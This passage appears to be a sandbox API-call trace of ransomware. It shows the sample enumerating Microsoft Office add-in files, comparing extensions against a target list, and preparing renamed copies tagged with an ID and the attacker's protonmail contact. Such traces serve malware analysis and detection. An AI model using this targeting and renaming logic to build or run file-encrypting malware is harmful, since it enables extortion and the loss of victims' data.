lpNewFilePointer=0x0) returned 1 [0263.817] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hi\\powerviewres.hi.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.817] CloseHandle (hObject=0x11d0) returned 1 [0263.827] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.827] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hr\\powerviewres.hr.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.827] CloseHandle (hObject=0x1158) returned 1 [0263.831] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=806008) returned 1 [0263.831] CloseHandle (hObject=0x1158) returned 1 [0263.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\adhocreportingexcelclient.dll")) returned 0x220 [0263.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\adhocreportingexcelclient.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0263.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\adhocreportingexcelclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.832] lstrlenW (lpString=".doc") returned 4 [0263.832] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0263.832] lstrlenW (lpString=".docx") returned 5 [0263.832] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0263.832] lstrlenW (lpString=".pdf") returned 4 [0263.832] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0263.832] lstrlenW (lpString=".xls") returned 4 [0263.832] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0263.832] lstrlenW (lpString=".xlsx") returned 5 [0263.832] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0263.832] lstrlenW (lpString=".ppt") returned 4 [0263.832] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0263.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.832] lstrlenW (lpString=".zip") returned 4 [0263.832] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0263.832] lstrlenW (lpString=".rar") returned 4 [0263.832] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0263.832] lstrlenW (lpString=".bz2") returned 4 [0263.832] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0263.832] lstrlenW (lpString=".7z") returned 3 [0263.832] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0263.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.833] lstrlenW (lpString=".dbf") returned 4 [0263.833] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0263.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.833] lstrlenW (lpString=".1cd") returned 4 [0263.833] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0263.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.833] lstrlenW (lpString=".jpg") returned 4 [0263.833] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0263.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.833] lstrlenW (lpString=".doc") returned 4 [0263.833] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0263.833] lstrlenW (lpString=".docx") returned 5 [0263.833] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0263.833] lstrlenW (lpString=".pdf") returned 4 [0263.833] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0263.833] lstrlenW (lpString=".xls") returned 4 [0263.833] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0263.833] lstrlenW (lpString=".xlsx") returned 5 [0263.833] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0263.833] lstrlenW (lpString=".ppt") returned 4 [0263.833] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0263.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.833] lstrlenW (lpString=".zip") returned 4 [0263.833] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0263.833] lstrlenW (lpString=".rar") returned 4 [0263.833] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0263.833] lstrlenW (lpString=".bz2") returned 4 [0263.833] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0263.833] lstrlenW (lpString=".7z") returned 3 [0263.833] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0263.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.834] lstrlenW (lpString=".dbf") returned 4 [0263.834] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0263.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.834] lstrlenW (lpString=".1cd") returned 4 [0263.834] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0263.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned 111 [0263.834] lstrlenW (lpString=".jpg") returned 4 [0263.834] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0263.834] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0263.834] lstrlenW (lpString="Microsoft.PowerBI.Diagnostics.resources.dll") returned 43 [0263.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.powerbi.diagnostics.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0263.835] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=80584) returned 1 [0263.836] CloseHandle (hObject=0x1158) returned 1 [0263.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.powerbi.diagnostics.resources.dll")) returned 0x220 [0263.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.powerbi.diagnostics.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0263.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.powerbi.diagnostics.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.836] lstrlenW (lpString=".doc") returned 4 [0263.836] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0263.837] lstrlenW (lpString=".docx") returned 5 [0263.837] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0263.837] lstrlenW (lpString=".pdf") returned 4 [0263.837] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0263.837] lstrlenW (lpString=".xls") returned 4 [0263.837] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0263.837] lstrlenW (lpString=".xlsx") returned 5 [0263.837] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0263.837] lstrlenW (lpString=".ppt") returned 4 [0263.837] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0263.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.837] lstrlenW (lpString=".zip") returned 4 [0263.837] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0263.838] lstrlenW (lpString=".rar") returned 4 [0263.838] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0263.838] lstrlenW (lpString=".bz2") returned 4 [0263.838] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0263.838] lstrlenW (lpString=".7z") returned 3 [0263.838] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0263.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.838] lstrlenW (lpString=".dbf") returned 4 [0263.838] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0263.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.838] lstrlenW (lpString=".1cd") returned 4 [0263.838] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0263.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.838] lstrlenW (lpString=".jpg") returned 4 [0263.838] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0263.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.838] lstrlenW (lpString=".doc") returned 4 [0263.838] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0263.838] lstrlenW (lpString=".docx") returned 5 [0263.838] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0263.839] lstrlenW (lpString=".pdf") returned 4 [0263.839] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0263.839] lstrlenW (lpString=".xls") returned 4 [0263.839] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0263.839] lstrlenW (lpString=".xlsx") returned 5 [0263.839] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0263.839] lstrlenW (lpString=".ppt") returned 4 [0263.839] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0263.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.839] lstrlenW (lpString=".zip") returned 4 [0263.839] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0263.839] lstrlenW (lpString=".rar") returned 4 [0263.839] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0263.839] lstrlenW (lpString=".bz2") returned 4 [0263.839] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0263.839] lstrlenW (lpString=".7z") returned 3 [0263.839] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0263.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.839] lstrlenW (lpString=".dbf") returned 4 [0263.839] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0263.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.839] lstrlenW (lpString=".1cd") returned 4 [0263.839] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0263.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned 125 [0263.840] lstrlenW (lpString=".jpg") returned 4 [0263.840] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0263.840] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0263.840] lstrlenW (lpString="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 60 [0263.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.reportingservices.adhoc.excel.client.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0263.841] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=77944) returned 1 [0263.841] CloseHandle (hObject=0x1158) returned 1 [0263.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.reportingservices.adhoc.excel.client.resources.dll")) returned 0x220 [0263.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.reportingservices.adhoc.excel.client.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0263.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.reportingservices.adhoc.excel.client.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.842] lstrlenW (lpString=".doc") returned 4 [0263.842] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0263.842] lstrlenW (lpString=".docx") returned 5 [0263.842] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0263.842] lstrlenW (lpString=".pdf") returned 4 [0263.842] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0263.842] lstrlenW (lpString=".xls") returned 4 [0263.842] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0263.842] lstrlenW (lpString=".xlsx") returned 5 [0263.842] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0263.842] lstrlenW (lpString=".ppt") returned 4 [0263.842] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0263.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.842] lstrlenW (lpString=".zip") returned 4 [0263.842] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0263.842] lstrlenW (lpString=".rar") returned 4 [0263.843] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0263.843] lstrlenW (lpString=".bz2") returned 4 [0263.843] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0263.843] lstrlenW (lpString=".7z") returned 3 [0263.843] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0263.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.843] lstrlenW (lpString=".dbf") returned 4 [0263.843] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0263.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.843] lstrlenW (lpString=".1cd") returned 4 [0263.843] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0263.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.843] lstrlenW (lpString=".jpg") returned 4 [0263.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0263.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.844] lstrlenW (lpString=".doc") returned 4 [0263.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0263.844] lstrlenW (lpString=".docx") returned 5 [0263.844] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0263.844] lstrlenW (lpString=".pdf") returned 4 [0263.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0263.844] lstrlenW (lpString=".xls") returned 4 [0263.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0263.844] lstrlenW (lpString=".xlsx") returned 5 [0263.844] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0263.844] lstrlenW (lpString=".ppt") returned 4 [0263.844] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0263.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.844] lstrlenW (lpString=".zip") returned 4 [0263.844] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0263.844] lstrlenW (lpString=".rar") returned 4 [0263.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0263.844] lstrlenW (lpString=".bz2") returned 4 [0263.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0263.844] lstrlenW (lpString=".7z") returned 3 [0263.845] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.845] lstrlenW (lpString=".dbf") returned 4 [0263.845] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.845] lstrlenW (lpString=".1cd") returned 4 [0263.845] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0263.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0263.845] lstrlenW (lpString=".jpg") returned 4 [0263.845] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0263.845] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0263.845] lstrlenW (lpString="Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 60 [0263.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.reportingservices.adomddataextension.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0263.846] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=19744) returned 1 [0263.846] CloseHandle (hObject=0x1158) returned 1 [0263.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.reportingservices.adomddataextension.resources.dll")) returned 0x220 [0263.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.reportingservices.adomddataextension.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0263.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\microsoft.reportingservices.adomddataextension.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.847] lstrlenW (lpString=".doc") returned 4 [0263.847] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0263.847] lstrlenW (lpString=".docx") returned 5 [0263.847] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0263.847] lstrlenW (lpString=".pdf") returned 4 [0263.847] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0263.848] lstrlenW (lpString=".xls") returned 4 [0263.848] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0263.848] lstrlenW (lpString=".xlsx") returned 5 [0263.848] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0263.848] lstrlenW (lpString=".ppt") returned 4 [0263.848] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0263.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.848] lstrlenW (lpString=".zip") returned 4 [0263.848] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0263.848] lstrlenW (lpString=".rar") returned 4 [0263.848] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0263.848] lstrlenW (lpString=".bz2") returned 4 [0263.848] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0263.848] lstrlenW (lpString=".7z") returned 3 [0263.848] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0263.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.848] lstrlenW (lpString=".dbf") returned 4 [0263.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.849] lstrlenW (lpString=".1cd") returned 4 [0263.849] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.849] lstrlenW (lpString=".jpg") returned 4 [0263.849] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft 